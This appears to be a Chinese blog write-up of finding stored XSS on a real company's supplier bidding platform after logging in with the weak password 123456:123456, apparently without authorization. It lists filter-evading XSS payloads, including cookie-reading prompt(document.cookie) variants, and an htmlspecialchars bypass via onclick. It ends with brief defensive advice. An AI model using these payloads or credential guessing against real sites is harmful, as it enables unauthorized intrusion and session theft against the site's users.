對某公司一次弱口令到存儲型xss挖掘
VSole2021-11-22 14:45:46
背景:
某次針對某目標信息搜集無意發現某工程公司的項目招標平臺
厚碼…求生欲滿滿嗚嗚嗚

有個供應商登陸,啥也不說先來個弱口令 123456:123456

只能說弱口令yyds!!!!
發現在供應商資料中存在不少輸入點,手癢隨手一波xss
分享一波常用測試語句:
輸入框:
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
圖片:
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x οnerrοr=alert("XSS");>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
編輯器:
[a](javascript:window.onerror=alert;throw%201) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](j a v a s c r i p t:prompt(document.cookie)) [a](javascript:prompt(document.cookie))
刷一波發現大部分都有過濾,但是[股份/責任人] 欄下有代碼被注入成功
語句為:"<script>alert('XSS')</script>"<\

查看該部分DOM源碼:

有戲!
針對該點繼續測試,構造語句:"<script>alert('XSS')</script>"<




嘗試url編碼:
“
這么一通注下來,對剛剛的亂注小總結一下:
- 發現 / 被轉義成 =”” //
- /變成 =””
- </ script>轉義成<=”” script=””> 而且多個/
- 如///也只被轉義成 =”” 沒辦法重寫繞過
并且存在htmlspecialchars()函數: ",意味: “””
本地測試發現script便簽中存在 " 就無法彈窗

所以存在兩個問題,一方面要繞過這個",而且要繞過的轉義
先說對的繞過思路:
轉換法:
前端限制繞過,直接抓包重放,或者修改html前端代碼 大小寫,比如:<scrIPT>alERT(1111)</scRIPT>用來繞過 拼湊:<scri<script>pt>alert(1111)</scri</script>pt> 使用注釋干擾: <scri<!--test-->pt>alert(111)</scri<!--test-->pt> 編碼法:核心思路:后臺過濾了特殊字符,比如<script>標簽,但該標簽可以被各種編碼,后臺不一定過濾,當瀏覽器對該編碼進行識別時,會翻譯成正常的便簽,從而執行在使用編碼時需要主要編碼在輸出點是否會被正常是不和翻譯!
接下來說對"的繞過:
`htmlspecialchars()函數是把預定義的字符轉換為HTML實體,預定義的字符是:
&(和號)成為 &
“ (雙引號)成為"
‘(單引號)成為'
<(小于號)成為<
(大于號) 成為>
可引用類型:
ENT_COMPAT-默認,僅編碼雙引號
ENT_QUOMES-編碼雙引號和單引號
ENT_NOQUOTES-不編碼任何引號
`
其他函數

構造語句:
構造對"的繞過:
q'οnclick='alert(1111)'
直接產生彈窗:

重新訪問頁面該xss彈窗還在,說明注入成功
接下來就是利用xss平臺對這個注入點進行下一步利用
具體可以參考:
https://www.cnblogs.com/coderge/p/13701664.html
xss常見的防范措施
總的原則:輸入做過濾,輸出做轉義
過濾:根據業務需求進行過濾,比如過濾要求輸入手機號,則只允許輸入手機號格式的數字
VSole
網絡安全專家